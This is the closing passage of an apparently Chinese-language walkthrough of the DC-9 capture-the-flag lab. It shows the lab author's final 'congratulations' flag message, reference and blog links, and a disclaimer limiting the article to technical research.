██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝
Congratulations - you have done well to get to this point.
Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.
參考文章
https://www.cnblogs.com/yurang/p/13709536.html
說明
最后歡迎訪問我的個人博客：https://lnng.top/
說明：本文僅限技術研究與討論，嚴禁用于非法用途，否則產生的一切后果自行承擔
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/227711.html
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